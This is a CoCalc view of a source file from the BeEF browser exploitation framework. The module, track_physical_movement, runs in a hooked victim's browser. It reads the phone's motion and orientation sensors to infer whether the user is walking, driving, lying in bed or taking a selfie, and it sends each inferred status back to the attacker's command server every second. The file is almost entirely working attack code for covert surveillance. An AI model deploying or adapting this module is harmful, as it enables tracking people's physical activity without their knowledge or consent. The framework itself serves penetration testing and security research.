Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/misc/track_physical_movement/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
var status = 'loading';
10
var update_interval = 1000;
11
12
if (!beef.hardware.isMobileDevice()) {
13
beef.debug(result);
14
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fail=' + result, beef.are.status_error());
15
}
16
17
var historicMotion = {
18
"x": [],
19
"y": [],
20
"z": []
21
}
22
var historicOrientation = {
23
"x": [],
24
"y": [],
25
"z": []
26
}
27
28
function setStatus(new_status) {
29
if (status == new_status) return; // status hasn't changed
30
31
status = new_status;
32
beef.debug(new_status);
33
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result=' + new_status, beef.are.status_success());
34
}
35
36
function updateStatus() {
37
var movement = mostRecentMovementOverall(75)
38
39
lastHistoricOrientationX = historicOrientation["x"][historicOrientation["x"].length - 1];
40
lastHistoricOrientationY = historicOrientation["y"][historicOrientation["y"].length - 1];
41
lastHistoricOrientationZ = historicOrientation["z"][historicOrientation["z"].length - 1];
42
43
// Below some stupid, very basic code to guess what the user is doing
44
// As described in the README, this is just a proof of concept
45
if (mostRecentMovementOverall(4000) > 40) { // TODO: haven't tested this, 1,000 so it's a longer time
46
setStatus("driving or other form of transportation")
47
} else if (lastHistoricOrientationZ > 70 || lastHistoricOrientationZ < -70) {
48
setStatus("lying in bed sideways, or taking a landscape picture")
49
} else if (lastHistoricOrientationY > 160 || lastHistoricOrientationY < -160) {
50
setStatus("lying on your back, with your phone up")
51
} else if (lastHistoricOrientationY >= 30 && lastHistoricOrientationY < 70) {
52
if (movement > 18) {
53
setStatus("using your phone while walking")
54
} else {
55
setStatus("using your phone, sitting or standing")
56
}
57
} else if (lastHistoricOrientationY >= 70 && lastHistoricOrientationY < 95) {
58
if (movement > 18) {
59
setStatus("using your phone while walking")
60
} else {
61
setStatus("taking a picture")
62
}
63
} else if (lastHistoricOrientationY >= 95 && lastHistoricOrientationY < 120) {
64
setStatus("taking a selfie")
65
} else if (Math.round(lastHistoricOrientationZ) == 0 && Math.round(lastHistoricOrientationY) == 0) {
66
setStatus("using the phone on a table")
67
} else {
68
if (movement > 18) {
69
setStatus("using your phone while walking")
70
} else {
71
setStatus("using your phone, sitting or standing")
72
}
73
}
74
}
75
76
function mostRecentMovementOverall(numberOfHistoricPoints) {
77
return (mostRecentMovement(historicMotion["x"], numberOfHistoricPoints, true) +
78
mostRecentMovement(historicMotion["y"], numberOfHistoricPoints, true) +
79
mostRecentMovement(historicMotion["z"], numberOfHistoricPoints, true)) / 3.0
80
}
81
82
// numberOfHistoricPoints: 100 is about 3 seconds
83
function mostRecentMovement(array, numberOfHistoricPoints, removeNegatives) {
84
if (array.length > numberOfHistoricPoints) {
85
totalSum = 0
86
for (var toCount = 0; toCount < numberOfHistoricPoints; toCount++) {
87
currentElement = array[array.length - toCount - 1]
88
currentElement *= (1 - toCount / numberOfHistoricPoints) // weight the most recent data more
89
if (currentElement < 0 && removeNegatives) currentElement = currentElement * -1
90
if (currentElement > 0.1 || currentElement < -0.1) totalSum += currentElement
91
}
92
return totalSum * 100 / numberOfHistoricPoints
93
}
94
return 0 // not enough data yet
95
}
96
97
window.addEventListener("devicemotion", motion, false);
98
99
function motion(event) {
100
//motionX = (mostRecentMovement(historicMotion["x"], 150, false)).toFixed(2)
101
//motionY = (mostRecentMovement(historicMotion["y"], 150, false)).toFixed(2)
102
//motionZ = (mostRecentMovement(historicMotion["z"], 150, false)).toFixed(2)
103
104
historicMotion["x"].push(event.acceleration.x)
105
historicMotion["y"].push(event.acceleration.y)
106
historicMotion["z"].push(event.acceleration.z)
107
}
108
109
window.addEventListener("deviceorientation", orientation, false);
110
111
function orientation(event) {
112
//orientationX = Math.round(event.alpha)
113
//orientationY = Math.round(event.beta)
114
//orientationZ = Math.round(event.gamma)
115
116
historicOrientation["x"].push(event.alpha)
117
historicOrientation["y"].push(event.beta)
118
historicOrientation["z"].push(event.gamma)
119
}
120
121
setInterval(updateStatus, update_interval)
122
});
123
124